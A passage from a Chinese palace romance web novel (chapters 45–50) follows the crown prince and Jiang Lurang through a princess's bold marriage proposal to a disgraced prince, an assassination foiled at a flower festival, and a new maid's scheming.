江露染小脸飞上红霞,看着谢知寒的眼睛:“不疼了。” 声音低低的,生怕旁人听到。 其实还是有一些,但是是可以忍受的程度,倒也不必真的对殿下说出口来。 何况这可是大白天,跟殿下在这里明目张胆地说这些总感觉很是羞耻。 但奈何谢知寒不让她逃避这个话题。 他捏着她的下巴让她直视他,她瞳仁明亮,里面像是汪着一簇新雪。 “晓晓,我们是夫妻,若是有什么事情你就可以直接告诉孤。” 江露染自然知晓他说的什么意思。 可是这种事情怎么好意思如此直接。 简直就是害羞死了。 她的脸庞一点点蒸腾上淡淡的薄粉,想了一会儿,终于对着谢知寒道:“殿下,其实还有一点点疼。” 她的声音其实很小,但谢知寒还是一个字一个字听清楚了。 她被他整个拥在怀中,看不到人,只能看到随风而动的一缕青丝。 虽说白日里上药不太好,但殿下还是这么做了,他的模样很是有些执意,江露染根本拒绝不了。 涂药的时候,他的手指不可避免地碰到她的皮肤,有一点点凉。 谢知寒很明显地感受到她的瑟缩,手下的力道轻微放缓了些,她的皮肤很白,上面浅淡的红痕看上去就分外明显。 他明明说过不再伤害她,可总是一而再,再而三地食言。 可晓晓却没有指责过自己一句,谢知寒心下愧疚,心中暗暗发誓要对晓晓更好。 待涂抹完药膏,已经是晚上了,月亮悄悄地爬上来,给大地染上一片银霜。 有些凉。 明轩阁的宫人已经传了晚膳过来,谢知寒已经净了手。 看着江露染准备大快朵颐的表情,谢知寒不自觉地微笑。 46. 第 46 章 想起她胃不好,吃的快了一会儿又要喝调理胃病的中药,谢知寒还是提醒她,要慢点吃。 江露染看上去有些不好意思,但还是抬头看了一眼谢知寒,对着他道:“知道了,殿下。” 祝盈再次前来的时候看到了谢知寒,她微微一顿,没有想到会在此时看到这位一向清冷的太子殿下。 她看到他的瞬间就立即转身,装作什么都没有发生的样子向后转身,试图迅速离去,然而,还是晚了一步。 谢知寒已经缓缓向她走来,并且缓声开口,听上去并不怎么愉快。 “七公主近来可好?”语调有些暗沉。 祝盈深知今日躲不过,便转过身来面对谢知寒,面上换上一副殷勤的微笑。 “多谢殿下关心,殿下与江姑娘这些天想必过的也不错?”祝盈笑吟吟的,只是话语似乎有些意有所指。 谢知寒视线落在她身上,有些沉,像是一道无形的利器刺过来,祝盈明明不怎么害怕,可此时仍旧心中敲起小鼓,他不会因为自己对江露染做了什么,就要对自己肆意报复吧。 这位殿下看上去光风霁月,但祝盈心中却很清楚,他的行事绝对不会柔和,尤其是她碰到了他的软肋。 没关系,自己身后有整个昌顺,即便他对自己不满意,为了粮草,也不会对自己动手的。 祝盈在心中安慰自己。 谢知寒视线沉沉看了她片刻,缓缓开口:“孤的事就不劳烦七公主操心。” 虽然这位太子殿下仍旧面色沉沉,但如此说已经放过了她一马,她这点颜色还是会看的。 “殿下说的是,那就祝殿下与江姑娘长长久久,顺遂和乐。” 说点好听话总是没错的。 明轩阁中传来江露染的声音,有些清脆,像是清晨美丽的雀啼。 “殿下,是七公主来了吗?”而后,江露染很快跑出来,一眼就看到站在廊下的祝盈,看着面前的殿下,脸色好像不怎么好看,两人不会是吵起来了? 江露染试探着问:“殿下,我可以与七公主说些话吗?” 谢知寒很想再对着这个大胆无比的七公主再说几句警告的话,但无奈晓晓要见她。 静默片刻,他微微侧身,让祝盈过去,只是眉眼中还带着几分担忧。 生怕祝盈再次做出一些大胆的事情。 祝盈也知晓上次的确是做的有些过分,明目张胆在东宫殿中做手脚,若是传了出去,指不准会有什么样的风言风语。 或许会对昌顺不利。 “放心吧,殿下,这次我什么也不会做。” 虽然听到她如此承诺,谢知寒心中还是隐隐有些担心,直到两个人一起进了殿内。 祝盈挽着江露染的手臂,小声道:“太子殿下很关心你呢。” 江露染:? “他一直在看着你,别回头,他现在也在看着你,或许...是怕我再次...对你不利。” 祝盈摇了摇江露染的手指:“你放心,这次我决定什么也不做,啊不对,我以后也什么都不做,你家那位太子殿下实在是太可怕了,你都不知道,他看着我的眼神像是要吃了我,话说回来,他生气的时候对着你也这样吗?这样可是不行的...” 祝盈自顾自的说了下去,眼看说了好一会儿,还没有停下来的意思。 江露染倒了一杯茶递过去,祝盈顺手接过,大口饮了下去。 “我还没有问,公主是怎么知道昆德殿的呢?” 祝盈拿着茶杯的手一顿,抬头望向江露染,少女的眼眸亮闪闪,里面充满着狡黠的光。 好像对一切都了然,尤其是她与昆德殿的关系。 “好啊,江姑娘,你竟然也开始打趣我了。” “不敢,不敢,自然是比不上公主。” 两人调笑一番,江露染重新郑重地问:“公主,你可知道二皇子谢衡是个什么样的人?” 祝盈仔细想了想,谢衡是个什么样的人。 她知晓他是个失败者,但谢知寒那样完美且强大的对手,输给他好像也没什么丢人的。 或许在旁人眼中,谢衡是一个杀伐果决,狠心冷情的男人。 但在自己心中,她一想起他就会想到他被老鼠吓到默默躲到一边的场景。 他衣衫褴褛,鬓发散乱,浑身惊慌,仅仅是因为一只老鼠,场面似乎有些难以想象的滑稽,祝盈不自觉地轻笑出声。 “我觉得他这个人,好像还挺有点意思。” 有点意思,江露染不自觉地覆上她的手,语气有点急。 “公主,你可知道他是个很危险的人。”曲洲刺杀的场景还历历在目,她胸前的那道伤口此时也开始疼起来。 祝盈看着江露染,她满脸郑重,一看就知道不是在开玩笑,而是在真的担心她。 她反手覆上她的手指,语气像是在劝慰。 “我知道他以前或许做过一些不太好的事,但是怎么说呢,我觉得他这个人还真是有点意思的,或许跟看上去的那个凶狠的样子有些不一样。” 江露染不明白:“为什么是他呢?” 祝盈想了又想,认真类比着说:“虽然他脑子看上去有些笨笨的,好像吧还有那么一点轴,或许在你们眼中他罪该万死,但我觉得他还蛮可爱的。” “你认真想想,你与太子殿下不也是这样?难道太子殿下在你眼中是一个高冷无情的人?” “不,他才不是...”江露染不自觉地反驳。 但她很快明白过来,七公主的话说的很对,喜欢一个人那么在自己眼中的确就是最好的。 或许这就是所谓情人眼里出西施。 “我明白了,但是公主还是要照顾好自己。” “江姑娘放心好了,我可是堂堂公主,他一个落魄皇子还敢欺负本公主不成,他就是敢,也不知道是谁欺负谁呢!”祝盈握了握拳。 * 昆德殿。 最近那个女人来的越来越频繁,谢衡明明记得宫中守卫非常严明,绝对不可能荣旁人如此肆意的行走。 也不知道那个女人是如何做到的。 宫中守卫看来该换一批新的了,连个大活人都拦不住,要他们有什么用。 谢衡正想着,窗户处传来一声轻微的响动,很快就传来一阵甜香。 他看都不用看,自然知道那人是谁。 也就只有她敢在宫中如此大胆,无视他人地来回穿梭。 祝盈看着谢衡早已彻底放弃反抗的模样,心中觉得有些好笑,但是面上还是严肃非常 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“经过这几日的相处呢,本公主觉得你还不错,决定将你从火坑里救出来,听懂了吗?没有听懂的话本公主可以再跟你讲一遍。” “为什么是我?”谢衡此时脑海中有些转不过弯来,全是那两句。 谢知寒早有心上人,是她自己来晚了。 难道是因为太子有了心上人,所有才会退而求其次,选择了自己。 难道换了个人,他也仍旧是个替身,难道他就永远也不能逃离这个诅咒了吗? 他甚至问话的声音也是呆呆的。 “是因为太子有了心上人,所以你才选择了我?” 祝盈看他一眼。 “有这个因素,但不完全是这个原因。” “你也知道,谢知寒他挺好的,但于我而言,其实并不适合,我呢,对他也没有任何情谊。” “但你就不一样了,我能看的出来,你呢并没有多聪明,反而看上去呆呆的,甚至你都抓不住一只老鼠,但是呢,本公主就喜欢你这样的。” “还让本公主继续说下去吗,你们这里有一句话怎么说的来着,水有三千我却只取一瓢饮,你明白本公主的意思了吗?” 谢衡依旧还是愣怔,她的意思是,不是因为退而求其次,而是他是他自己,所以她才会选了自己? 可是为什么,他只是一个获罪的皇子,连宫殿也出不去。 看着谢衡依旧想不明白的样子,祝盈有些恨铁不成钢。 “喜欢就是喜欢了啊,哪里有那么多为什么。我就问你一句,你愿不愿意嫁...不是,愿不愿意娶我?” 谢衡哪里见过如此直白的求娶,看着祝盈仍旧没有反应过来。 “你不说话本公主就当你同意了。” “一二三,好,你同意了,此生此世都不可以再反悔,赶紧换衣服,我这就去跟皇帝说去了。” 还没有听到谢衡的回话,祝盈早就翻窗户走了。 谢衡掐了自己一把,手臂上传来一阵疼痛,看来不是梦。 那么方才的一切就都是真的,天,他究竟遇上了一个怎样的姑娘,这昌顺国的公主,一向都是如此大胆的吗? 47. 第 47 章 祝盈向来是个说一不二的性子,既然已经决定嫁给谢衡,她立刻就去明光殿中向青奚帝禀报。 青奚帝看着面前的七公主,这个女子自从第一次见面就让他觉察到几分肆意,不过他并不讨厌这种感觉,反而还有几分怀念。 可是如今这位向来大胆的七公主竟然站在自己面前,口口声声说要嫁给二皇子谢衡。 殿中静默,无人敢率先开口。 青奚帝摩梭了一会儿手上的玉扳指,沉声开口,对着祝盈道:“你可知二皇子早已被幽禁于昆德殿中,是朕亲自下的命令。” 言下之意就是谢衡此时是一名罪人,远远没有资格与公主成亲。 但祝盈面对着青奚帝沉沉的视线,并没有任何躲避,而是直直地迎了上去。 “可是陛下不是答应我要我自己挑选夫君吗,众目睽睽之下,难道陛下是要食言不成?” 在大胤很少有人对青奚帝如此说话,除了阿芷,祝盈是第一个。 殿内的内侍皆十分惶恐,虽说昌顺的七公主已经是尊贵非常,可面前这位可是大胤的帝王,这位公主倒也实在是大胆至极。 敢对青奚帝如此讲话的放眼天下也没有几个,就是太子殿下也不得不忌讳青奚帝的身份,对他礼敬有加。 青奚帝的目光加深了几分,没有人知晓他心中在想些什么。 他手中的玉扳指也已经被摩梭了好几圈,良久,青奚帝才缓缓开口,面色疲倦。 “公主当真想好了?” 祝盈不退不避:“回陛下,我一旦做过决定就不会再改变。” 青奚帝停下手中转动的玉扳指:“既然公主已经做好决定,那朕只好允了,只是有一点,谢衡会因为公主离开昆德殿,朕会封他为燕王,他也会启程前往封地。” “公主既然选择了他为夫君,自然也是要跟着他一起去往封地的,封地苦寒,且无诏不得回京。公主可能接受?” “多谢陛下成全。”祝盈几乎没有任何思考。 既然是和自己喜欢的人在一起,那又何必在乎是在哪里,她祝盈选定的事情,就没有后悔的。 青奚帝自然也是说到做到,即刻取消了谢衡的幽禁之责,封他为燕王,并且亲自为他和祝盈赐了婚。 李贵妃的临华宫自然也解除了幽禁。 当她得知自己与衡二是因为一名女子而被放出,自然对这还未见过面的儿媳充满了无限好感。 衡儿真是上辈子积了德,才能遇见这么好的姑娘。 李贵妃巡视了一圈临华宫,里面的陈设很快恢复了之前的装饰,富丽堂皇,却没有一丝人气。 她也实在是在这宫中呆够了,一想到晚上与青奚帝耳鬓厮磨之时,青奚帝唤她的都是另外一个女子的名字,李贵妃心中就生起无限悲凉。 那时她总抱有一丝幻想,陛下对她和衡儿,总是会有几分真心的。 就凭着陛下与她的情谊,和她冒着危险诞下了他与自己的孩子份上,他总会将空缺已久的后位留给自己。 但仅仅凭着衡儿做错的一件事,青奚帝就对他们母子俩不闻不问,幽禁冷宫,生死不顾。 她就知晓,帝王的情谊,不论何时何地,不论是对着何人,都是靠不住的。 帝王薄情寡恩,自古以来就是如此。 从此以后她总算因为衡儿与七公主的婚事,可以逃离出这个深宫,再也不用整日战战兢兢,如履薄冰,从此远离宫中叵测人心,这是多好的一件事。 祝盈与谢衡的婚事定在明年三月,是钦天监测定的好日子。 昌顺国的使臣眼看着自己的任务已经完成,七公主也找到了自己心满意足的夫君,于是过几日就整理行囊准备回国了。 宫中很快就剩下了祝盈一个人,但她一点也不觉得孤单,因为她还有江露染,更重要的是,还有谢衡陪着她。 她不是待在明轩阁就是待在昆德殿,当然,待在昆德殿的时辰要更多一点。 谢衡看上去仍旧接受不了他要与自己成亲这个事实,而且由自己先提出婚约谢衡说这样有损他的颜面,在大胤,都是男子出面向女子提亲。 她这样,让他在宫中蒙羞。 祝盈:“你们大胤就是如此好面子,女子为何不能主动提亲,在一起不就行了,再说,你输给我不是很正常的事情。” 眼看谢衡还是很不服气,祝盈大腿敲在圆凳上,颇有些气势的模样。 “怎么,你还敢有二话?” 李贵妃将祝盈看的像自己亲生女儿,相比谢衡倒像是个捡来的。 眼看二人气氛剑拔弩张,李贵妃瞬间站在了祝盈一边。 “衡儿,还不快向七公主道歉。” 谢衡愕然,明明他什么也没做,而且看这阵仗,也能看出来是谁在欺负谁,他今日才知晓母后原来也是会偏心眼的。 眼看谢衡还没有道歉,李贵妃的话语带了几分明显的压迫感。 “衡儿。” 谢衡迫于无奈,只好先低了头,祝盈踏在圆凳上的腿这才拿了下来。 “本公主渴了,想喝茶。”说着看了一眼茶杯,再看了一眼谢衡。 这个女人真的是,他是皇子,又不是什么小厮。 但是在祝盈和李贵妃的双重压迫下,还是为祝盈倒了一杯茶。 “这才对嘛!”祝盈笑嘻嘻地接过茶盏,满意地饮了一口。 祝盈从昆德殿中出来,已是下午,她快步去了明轩阁前来寻江露染。 “江姑娘,你知不知晓过几日就是花神节,民间会举办非常热闹的盛会,江姑娘,你想不想去看?”祝盈欢快地对她眨眼。 “是七公主想要去看吧?” 祝盈一看自己的小心思被人看穿,倒也没有不好意思。 她本来是昌顺国的人,对大胤的节日有兴趣实在太正常了,且她也想趁着这次节日与谢衡一起去,促进一下感情。 但是这出宫总得有个名目,她虽然行事不拘一格,但也不好直接拉着谢衡直接走出宫去,这样大抵是行不通的。 若是江露染与太子殿下也要去那可就不一样了,她就可以光明正大与谢衡出去,美名其曰保护太子。 “所以,江姑娘想去吗?”祝盈的眼睛扑闪扑闪。 她自然是想去的,不过还不知道殿下的意思。 “不知道殿下 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不厌其烦的,谢衡终于同意,去就去吧,不就是见谢知寒一面嘛,总比她在自己耳边唠叨要好。 眼看谢衡同意了,祝盈将早就挑好的衣服放在谢衡面前:“花神节的时候穿这个。” 谢衡:穿件衣服也要管他,这明明还没有成婚。 但看着祝盈满眼杀意的眼神,谢衡默默接受了。 祝盈等了一会儿,风有些大,让谢衡举起袖子:“帮我挡风。” 谢衡:... 两个人等了一会儿,才看到谢知寒与江露染,江露染跟在谢知寒身边,穿的很厚。 谢衡很久都没有见过这位皇兄了,今日一见,他果然还是和以往一样,清冷矜贵。 不过不同于以往的就是,他俊美无俦的脸上有了几分烟火气,看上去不再那么高高在上,对任何人漠不关心。 想必就是和身边的少女有关。 想当初他还特意为难过她,现在想想,那个时候简直就是不知死活。 他连忙对谢知寒行礼:“皇兄。” 而后差点对着江露染行礼唤她一声皇嫂,但很快又想到两人并未成亲,他这样称呼并不合适,及时止住了。 谢知寒视线淡淡在他面上扫过,平静地让他起身,语气中并无什么憎恨。 只是在看他视线偶然略过江露染时,他轻轻向前走了一步遮掩住了他的视线,想必还是担心自己会加害于他。 皇兄真是多虑了,时至今日他哪里还有这个胆子。 几人的轿子早已备好,行过礼后几人就分别坐了各自的车轿。 毕竟是宫中的皇子,尊贵非常,所以周围还是有暗卫前来保护。 这次出宫还是很不容易的,毕竟他们中有皇子和公主,轻易是不能出宫的,也不知道殿下用了什么样的法子,堵住了诸位大臣的口。 车轿稳稳当当地行驶到了地点,车夫将轿子停在路边不显眼的地方。 祝盈拉着谢衡下来,四个人一起走在路上。 48. 第 48 章 花神节果真是很热闹,人来人往,人流如织,街道上的灯火将天空照的宛如白昼一般。 祝盈拉着谢衡走在谢知寒与江露染身后,谢衡看上去有些懒散,似乎对周遭的一切看上去毫不关心,一看就是被祝盈强迫着拉出来的。 走了一会儿,祝盈就对江露染眨眨眼睛,而后对着江露染小声道:“你看太子殿下的眼睛一直在你身上,我和谢衡就先走了,不打扰你和太子的好事了。” 说完,拉着谢衡转瞬之间就不见了踪影。 什么嘛,明明是祝盈自己想和谢衡去逛,不过就是堂而皇之的想把自己抛弃,做什么还对自己如此冠冕堂皇。 一转眼,就与谢知寒的眼神对视。 他的眼睛生的极为好看,此时在灯火的映衬下尤甚,瞳仁中染了墨色,倒映着天际之上的盈盈明月。 有个卖花的小童从一旁经过,悲伤背着花篮,里面全是应季的花束,看上去鲜艳非常。 “哥哥,你给姐姐买束花吧,姐姐一定会很喜欢的。” 小童的声音听上去很是清脆。 谢知寒看了一眼他花篮中的花束,的确是漂亮非常,可是这些花与晓晓比起来,简直还要稍逊一筹。 即便如此,谢知寒仍旧给了小童一块碎银子,买下其中一枝最娇嫩的花,为江露染戴在耳畔的青丝上。 她的皮肤很白,像是纯净的玉石,在忽明忽灭的灯光之下泛着很漂亮的光泽。 耳畔的那束花为她锦上添花,显得她人更为娇媚。 灯会上的人很多,谢知寒堂而皇之握住她纤细的手腕,紧紧将那一段白玉似的皓腕扣在掌心。 手腕处很快传来令人适宜的温度,很快随着脉络传遍四肢百骸。 而谢知寒神情坦荡,俊美的容颜在灯下显得尤为真诚,他的意思仿佛是在告诉她,我牵着我自己妻子的手,哪里会有任何不妥。 江露染手心被他如此紧地握着,在众多的人群之中,她的心很是安定。 就好像被人从始至终的放在心上。 祝盈在暗处偷偷看到谢知寒与江露染的动作,于是也用力握住了谢衡的手,谢衡微微一愣,瞬间就想将自己的手抽离出来。 但是被祝盈握的很紧,没有成功。 “你看看人家太子殿下都一点也不顾及,何况咱俩可是有正式婚约的人,怎么可以输给他俩呢?”祝盈振振有词。 谢衡搞不明白这有什么可比的,何况这种关乎情爱的事比来比去也没什么意思。 但是祝盈脸上就写了四个字,不容拒绝,谢衡也实在是执拗不过她,只好随她去了。 谢知寒与江露染同行了一段路,旁侧有个卖发簪的婆婆唤住谢知寒:“这位郎君,给您的的夫人买束发簪吧,夫人一定会喜欢的。” 夫人,虽然他们还没有正式成婚,但是谢知寒很喜欢这个叫法。 他喜欢唤晓晓为夫人。 而她早晚会有一天会成为自己的夫人。 谢知寒挑了一束发簪绾在江露染发髻之上,正在端详之时,看到背后一道耀眼的白光闪过,而后就是有人凌风而起的破空之声,谢知寒瞬间反应过来,是有人在当街行凶。 他很快做出反应,将江露染护在身后,并且很快让身边的人撤离。 刺客身上的黑衣有明显的莲花纹样,是青莲教的人。 谢知寒微微眯起眼眸,心中一凛,原来京中还有剩余的青莲教余孽,行径还如此大胆。 不过幸好看那名刺客的动作完全是冲着自己来的,并没有伤及旁人。 谢知寒对着身后的江露染道:“晓晓,不要乱动,等孤来接你。” 这句话她已经听过无数遍。 可是如今的她已经不是原来的她,她已经有能力保护殿下了,她不会再成为殿下身后的人。 那刺客果然就是青莲教的余孽,口口声声说要给教会的兄弟报仇,而后手执长剑向着谢知寒的方向刺来。 谢知寒动作也很迅速,很快躲开了刺客致命的一击。 刺客眼见刺伤谢知寒是件不容易办到的事,此时余光瞥到角落中有个来不及撤退的女子,手提长剑向着女子刺来,听闻这位太子殿下一向爱民如子,他对着这名女子下手,想必他是一定会来救人的。 只要心中有所挂念就一定会露出破绽。 他本来是想刺杀江露染的,但她距离实在是太远了。 在他剑尖距离那名女子还有一寸的时候,果然谢知寒为了救那名女子就闪身到刺客面前。 刺客看准他的破绽,准备向前进行最后的一击。 然而,他才堪堪举起了剑柄,身后就被利剑刺穿身体,浓重的血花瞬间流淌出来,沾湿了他的衣襟。 他不可置信地低下头去,眼神中呈现出难以接受的神情,不能想象他的最终结局会是如此,而后他的身体一点点地倒了下去。 是江露染看中了刺客的意图,早在他看了一眼旁侧的姑娘之后,江露染就已经猜到了他想要做什么。 殿下是一定会去救人的。 于是她就在刺客准备刺杀的间隙一跃而上,而后一剑刺穿他的胸膛。 动作干脆利落,没有一丝犹豫。 她将殿下教给自己的剑法练得很好,她每一日早起,从无一日落下。 为的就是遇到危险的时候,她可以不必站在殿下身后,而是可以与他并肩。 江露染将风华收起,收剑入鞘的动作分外利落,可以听到一声清晰的震颤之声。 她收剑之时露出了她皓白手腕上戴的碧玉镯子,在街市之上散发着晶莹的光泽,她总算对得起手上的镯子,没有辜负殿下对自己的期许。 不过说起来,殿下似乎从来没有给过她任何期许。 只是任由她自由自在的成为任何模样。 刺客倒地的瞬间口中流出血沫子,暗卫此时赶来将刺客的尸体处理了。 谢知寒看到刺客是冲着无辜的百姓去的,他脑海中几乎没有任何思考,想的就是绝对不能让无辜的人受伤。 但是晓晓方才刺的最后一剑格外漂亮,他几乎要给她喝彩了。 这才是他的晓晓。 刺客身上喷薄而出的血液有一丝溅到了她的脸上,白皙如玉的脸庞沾上血迹,谢知寒缓步走进,用袖子 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方才江露染说话之时,谢知寒的眼神就一直落在她身上,并没有看向任何地方,此时听到她如此问,淡声回一句:“都听夫人的。” 江露染看他一眼,脸颊已染上薄红。 而后,两个人就手挽手向前走去,很快就消失在了人群之中。 沈兰心望着两人的背影,天造地设,般配非常。 只是,那名女子方才唤男子为殿下。 殿下,沈兰心脑海中思绪流转,当今二皇子已经被封为燕王,而如今被唤作殿下的只有一人,那就是处于东宫的太子殿下。 莫不是方才那人就是一向光风霁月,清冷自持的太子殿下。 可是方才那句夫人又是怎么回事,倒是没有听说东宫立太子妃。 沈兰心想着方才谢知寒的面容,脸上已经浮上红霞,殿下方才如此不顾生死地过来保护自己,是不是说明殿下对自己有情。 倒是不知晓方才那名女子是谁,但是不介意的话,她可以将太子正妃的位置让给她,毕竟,她对自己的容貌也是相当有自信的。 再说,哪个男子不是三妻四妾,即使他是太子,想必为皇室繁衍子嗣也会多纳几个侧妃。 虽然她人微言轻,但是凭着自己京中第一姝丽的容颜和殿下此次对自己有情,太子侧妃之位想来她也是可以争一争。 祝盈听闻灯会上有刺客,立即就开始寻找谢知寒他们,谢衡看着她焦急的模样,非常好奇。 “你自己不担心吗?” 祝盈回头看他一眼,眼神中带了明显的不屑。 “你是不是自己害怕?有本公主保护你,保护刺客不会伤到你一根头发。” 谢衡:...?他倒是也没有这么弱。 眼看着祝盈还是如此着急的模样,他开口缓声安慰她。 “你倒也不必如此着急,皇兄武功这么好,他们是不会有事的。” 至少,到现在他还从来没见过有人能成功伤害谢知寒...不对,除了父皇以外。 49. 第 49 章 谢知寒携着江露染的手走向另一个方向,人流越来越少,逐渐只剩下他们两个。 方才的慌乱早已褪去,像是江水平静的退潮,人影寥落处,只有她和殿下两个人,月色将两个人的影子拉的很长,覆盖在一起。 谢知寒突然触摸到她手腕上有一道小小的伤口,摸上去指尖有些粗糙的触感。 他借着月色仔细查看她手腕上的伤口,那不过是一道极细极浅的伤口,他却执起她的手认认真真地端详。 仿佛极其珍贵。 今日出来没有带药瓶,没有办法给她上药。 “疼吗?”他抬眼看她。 江露染一瞬不瞬地看着谢知寒,而后对他眨眨眼睛。 “很疼。” 可是没带药瓶,这可怎么办。 都怪他粗心。 江露染望着他逐渐显现出焦虑的神情,嘴边浮出一抹狡黠的笑。 “是很疼...不过若是殿下亲亲我就不疼啦!”她的声音在他耳边很清晰,也很清脆,像是泉水叮咚,一字一句流进他心里。 他感觉自己整个人像是被温柔的泉水包围了。 “殿下亲亲我呀。”她的声音回荡在耳边。 谢知寒紧紧将她拥在自己怀中,而后成全了她,一吻结束,两个人都有点呼吸急促。 江露染平复了呼吸,对着谢知寒道:“殿下,我方才做的好不好?” 她的眼睛扑闪扑闪,非常明亮,像是天上的月亮。 她的意图也非常明显,眼眸中简直就写了几个明晃晃的大字,快夸夸我呀,殿下。 今日她做的真的是很好,连谢知寒自己也没有想到。 但是还是有些太危险了,若是刺客反应过来,那她就会完全处于危险之中。 不过晓晓想要听什么,他就会说给她听。 “晓晓今日真的很厉害,看来孤日后都需要晓晓来保护了。”他抚了抚她的头发。 自从决定和殿下练剑以来,她就没有一刻懈怠过,她对练剑的天赋不是很高,可是想着日后可以保护殿下,便也一日一日地坚持下来。 今日终于看到了回报。 那把剑甚至也带了她自己的温度,那是她和殿下共同拥有的风华。 她不知道今后还会遇到怎样的事情,但是只要她在殿下身边,她就不会如同初见那些时日,躲在他的身后,而是会和他一起面对共同的困难。 她会如此坚定地告诉他,他永远不是一个人。 祝盈找到两个人已是过了一会儿,看着江露染与谢知寒完全没有受伤的模样,她才放下了心。 一直被她紧紧拉着的谢衡终于出声,听上去有些懒散。 “我就说了,皇兄不会出事的。” 祝盈在旁人看不到的地方偷偷白了谢衡一眼,谢衡收到祝盈的眼神警告,非常听话的闭上了嘴巴。 眼看着夜色已深,该是回宫的时候了,四个人各自坐上回宫的马车,马车在路面发出不甚清晰的响声。 回了明轩阁,谢知寒执意要给江露染的伤口上药,明明只是一道微不足道的小小伤口,但在谢知寒眼中却是极其严重的伤。 似乎不上药就是不行。 江露染实在是拗不过他,任由他在那道浅浅的伤口上涂抹上药膏。 药膏清凉,很快就被吸收,想到今日的凶险万分,谢知寒还是忍不住叮嘱她。 “孤日后必定不会让晓晓再次经历这些。” 做为储君,谢知寒一向说到做到。 一侧摇曳的烛火仿佛就是见证。 披香殿和昆德殿不是同一个方向,而祝盈却执意要谢衡将自己送回去,再回他自己的宫殿。 再去往披香殿的路上,祝盈的声音喋喋不休:“你怎么可以在太子面前说出那样毫不关心的话呢,拜托他可是太子,你好歹装个样子关心一下,万一他一高兴日后还可以多给你一块封地呢,你还是皇子呢,连这点远见卓识都没有,还得让本公主来提醒你。” 本来听到要去讨好谢知寒,他是应该要生气一番的,但是听着祝盈那番话,他并没有任何生气的情绪,反而还有些喜欢她的声音。 想让她一直就这样说下去。 况且,仔细思虑一下,他这位皇兄,其实也挺可怜的。 毕竟,他还一度得到过父皇的爱,可是谢知寒好像一直到现在,也没有得到过父皇对他的半分垂怜。 这样想想,他好歹也是勉强胜了一局吧。 日后的事,他不会再去与谢知寒争一丝一毫,他日后只想过平静的生活,带着母后和...祝盈去封地,过无人打扰的生活。 想来日后他这位皇兄一定可以顺利成为下一任帝王,并且做一个很好的皇帝。 而他,就做一个闲散的王爷也不错。 祝盈说了半天,没有听到谢衡的回应,晃了晃他的手腕:“我的话你都听到了没?” “听到了。”谢衡的回答还是一如既往的懒散。 * 沈兰心一直望着那两道身影渐行渐远,直到被来清理尸体的守卫隔开。 她向后稍稍退了几步,再抬头时已看不到两人的身影了,街市上很快就再次热闹起来,人流如织,掩盖住了她迅疾的心跳声。 她方才是真的见到了世人口中一向光风霁月的太子殿下。 过几日就是宫中挑选宫女入宫的日子,本来她还有点犹豫,要不要进宫,毕竟二皇子已经确定要迎娶公主,日后还要去封地,封地苦寒,她可不想去那种地方。 听闻东宫太子也是一向不近女色,很难有接近的机会,即使她进了宫也很难有机会靠近他。 沈兰心一向知晓自己容色过人,即便不入宫也可以寻个家室不错的人共渡一生。 只是今日,她竟然真的见到了那位传闻中清冷矜贵的太子殿下,且殿下还是不顾生死救了自己的性命,他一定是对自己有好感,才会做出如此行为。 沈兰心一向对自己的容貌很有信心。 看来就连老天也在帮她。 选宫女的那日一切都很顺利,毕竟,她为此准备了很久。 经过几日的练习,很快掌事姑姑就将她们分配到各自的宫殿。 沈兰心将自己早就准备好的好几块银子偷偷递到掌事姑姑手中,掌事姑姑看着手心价值不菲的银两 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有了掌事姑姑的帮助,沈兰心顺利进入了东宫做事,只是她是新来的宫女,自然进不到正殿去服饰,只能在偏做事。 而进入东宫的第一天,东宫的领事姑姑也重点交代了她们新来的宫女几句话。 无非和掌事姑姑说的一样,就是安安分分做好自己的事情,其他的要少看少听。 尤其还多说了一句,活动范围就是聚拢在规定的范围,不要去打扰明轩阁。 沈兰心非常奇怪,东宫的重点难道不应该是太子殿下吗?为何领事姑姑却重点提到了明轩阁?难道殿下居于明轩阁?可是这也不应该啊。 沈兰心趁着旁人不注意,偷偷问一旁的宫女:“为何不要去打扰明轩阁?听上去好生奇怪。” 那宫女正在安心打扫偏殿的角落,听得沈兰心如此问,头也没抬,只是压低了声音,尽量让旁人听不到。 “好像明轩阁居住的是江姑娘。” 江姑娘。 沈兰心立刻就想起那晚让殿下担心的少女,莫非她就是江姑娘。 “这位江姑娘是什么人?为何能让殿下如此对待?” 那宫女头压的更低了,似是不愿意在这个问题上与她深究。 “这个我也不清楚,或许你需要去问问旁人。” 没有得到想要的回答,沈兰心有些不满意,但是看着宫女已经远去的背影,她也没有办法,只能下次问问别人。 不过看殿下对江姑娘的上心程度,就知道殿下是个有情有义的人。 若是日后殿下决定与自己为妻,那么殿下也一定会对自己好的。 思及此,沈兰心面上带出一抹开怀的微笑,心中想着,殿下,我很快就可以看到你了。 不过,得先去看一眼那位江姑娘才是。 毕竟,在某种意义上说,这位江姑娘也算自己的对手,知己知彼,才能百战不殆。 领事姑姑说不要让她们去叨扰明轩阁,可她偏偏就要去招惹一下这位江姑娘。 50. 第 50 章 她倒要看看这位东宫上下人人闭口不敢明言的江姑娘到底是个怎样的性情。 沈兰心打探到与自己同住的一个宫女就是明轩阁当值,夜里她趁着那名宫女熟睡,刻意打开将同侧的窗户打开了一条小缝。 深秋的风已经很冷了,即使是打开一条小缝,夜里的寒风也是让人受不住的。 次日那名宫女果真就发起了高热,而沈兰心已经距离窗户较远,且刻意裹的很厚,所以并未被寒风波及。 那名宫女高热迷糊,口中还在呆呆地念着今日的差事。 这下倒真是合了沈兰心的心意,她主动凑过去唤:“翠竹,这两日我不当值,我看你病的挺严重的,不若今日就让我去替你,去明轩阁服饰两天,到时候你再帮我就可以。” 翠竹头脑有些昏沉,即使盖了很厚的被子,她看着沈兰心一会儿,脑子有些钝,而后才反应过来她说的话也不是不可以。 江姑娘那样好的人,应该也不会介意。 翠竹叮嘱:“好,那就先谢谢你了,其实倒也不是要紧的差事,就是帮江姑娘整理书案,帮江姑娘尝尝茶水口味,其余的倒也没有什么需要特别注意。” 听上去很轻松。 似乎没有什么多余的忌讳。 沈兰心将自己提前准备的药茶喂给翠竹:“我记住了,你好好歇息,不要想其他的。” 翠竹听闻沈兰心如此说,喝了药茶放心地躺下睡去。 江露染看到今日整理书案的宫女好似以前没有见过,她停下调茶水的手指,向沈兰心问:“以前好像没有见过你?” 虽说二皇子现在偃旗息鼓,不会再与殿下为敌,但她摸不透青奚帝的心思,看到陌生面孔多留意一下也是应该的。 沈兰心闻言回头,眉梢压低:“回姑娘,昨夜翠竹受了凉,今日有些风寒,也是就由奴婢来代替翠竹服侍姑娘。” 江露染望了一会儿她姣好的侧脸:“是你!” 